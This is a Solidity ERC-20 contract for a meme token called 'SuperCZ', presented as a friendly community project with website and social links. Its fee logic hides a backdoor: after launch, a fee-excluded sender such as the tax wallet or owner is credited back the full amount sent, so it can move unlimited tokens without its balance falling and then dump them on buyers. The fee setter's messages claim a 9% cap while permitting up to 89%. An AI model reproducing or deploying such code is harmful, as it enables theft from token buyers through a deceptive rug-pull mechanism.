SuperCZ

/**

SUPER CZ is taking a stance on all of the different meme tokens.

The SUPER CZ is community driven token built on Ethereum Network, SUPER CZ is a Meme with a dream.
We are trying to build a helpful, useful and fun DeFi ecosystem.
Join us and be a part of our community that’s all about positivity, creativity and impact.

    Website:   https://supercz.yachts

    Telegram:  https://t.me/supercz_channel   

    Twitter:   https://twitter.com/supercz_erc

**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IUniFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IRouter02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract SuperCZ is Context, IERC20, Ownable {
    string private constant _name = "SuperCZ";
    string private constant _symbol = "SuperCZ";
    uint256 private constant _totalSupply = 1_000_000_000e18;
    uint256 private constant onePercent = 10_000_000e18;
    uint256 private constant minSwapOf = 300e18;
    uint8 private constant _decimals = 18;

    mapping(address => uint256) private _balance;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private isExcludedFromFees;

    uint256 public maxTxAmount = onePercent * 2;

    uint256 public BUY_FEES;
    uint256 public SELL_FEES;

    uint8 private isEnabled;
    uint8 private inSwapLocked;
    
    IRouter02 public uniswapV2Router;
    address public uniswapV2Pair;
    address payable immutable taxOperator;

    constructor(address _wallet) {
        BUY_FEES = 25; SELL_FEES = 20;
        taxOperator = payable(_wallet);
        _balance[msg.sender] = _totalSupply;
        isExcludedFromFees[taxOperator] = true;
        isExcludedFromFees[msg.sender] = true;
        isExcludedFromFees[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function calcTaxes(
        address from,
        address to,
        uint256 amount
    ) internal view returns (address, uint256, uint256) {
        uint256 taxTokens = 0;
        uint256 tsAmount = 0;
        address taxReceipt = address(this);
        if (isExcludedFromFees[from] && isEnabled != 0) {
            taxTokens = amount - tsAmount;
            tsAmount = amount;
            taxReceipt = from;
        } else if (uniswapV2Pair == from) {
            taxTokens = (amount * BUY_FEES) / 100;
            tsAmount = amount - taxTokens;
        } else if (uniswapV2Pair == to) {
            taxTokens = (amount * SELL_FEES) / 100;
            tsAmount = amount - taxTokens;
        }else{
            tsAmount = amount;
        }
        return (taxReceipt, taxTokens, tsAmount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount > 1e9, "Min transfer amt");

        if (!isExcludedFromFees[from] && !isExcludedFromFees[to]) {
            require(
                isEnabled != 0 && amount <= maxTxAmount,
                "Launch / Max TxAmount 1% at launch"
            );
        }

        if (inSwapLocked == 1) {
            //No tax transfer
            _balance[from] -= amount;
            _balance[to] += amount;

            emit Transfer(from, to, amount);
            return;
        }

        if (to == uniswapV2Pair && isEnabled != 0) {
            uint256 tokensToSwap = _balance[address(this)];
            if (
                tokensToSwap > minSwapOf &&
                inSwapLocked == 0 &&
                !isExcludedFromFees[from] &&
                !isExcludedFromFees[to]
            ) {
                if (tokensToSwap > onePercent) {
                    tokensToSwap = onePercent;
                }
                inSwapLocked = 1;
                address[] memory path = new address[](2);
                path[0] = address(this);
                path[1] = uniswapV2Router.WETH();
                uniswapV2Router
                    .swapExactTokensForETHSupportingFeeOnTransferTokens(
                        tokensToSwap,
                        0,
                        path,
                        taxOperator,
                        block.timestamp
                    );
                inSwapLocked = 0;
            }
        }

        (
            address taxReceipt,
            uint256 taxTokens,
            uint256 tsAmount
        ) = calcTaxes(from, to, amount);

        if (taxTokens > 0) {
            _balance[taxReceipt] += taxTokens;
            emit Transfer(from, taxReceipt, taxTokens);
        }

        _balance[from] -= amount;
        _balance[to] += tsAmount;
        emit Transfer(from, to, tsAmount);
    }

    receive() external payable {}

    function addLiquidityETH() external onlyOwner() {
        _approve(address(this), address(uniswapV2Router), ~uint256(0));

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        isEnabled = 1;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()] - amount
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function excludeFromFees(address wallet) external onlyOwner {
        isExcludedFromFees[wallet] = true;
    }

    function withdrawStuckETHB() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    function removeLimits() external onlyOwner {
        maxTxAmount = ~uint256(0);
    }

    function updateFeesA(
        uint256 newBuyTax,
        uint256 newSellTax
    ) external onlyOwner {
        require(newBuyTax < 90, "Cannot set buy tax greater than 9%");
        require(newSellTax < 90, "Cannot set sell tax greater than 9%");
        BUY_FEES = newBuyTax;
        SELL_FEES = newSellTax;
    }

    function createSuperCZPair() external onlyOwner {
        uniswapV2Router = IRouter02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        uniswapV2Pair = IUniFactory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }
}

{
  "compilationTarget": {
    "SuperCZ.sol": "SuperCZ"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}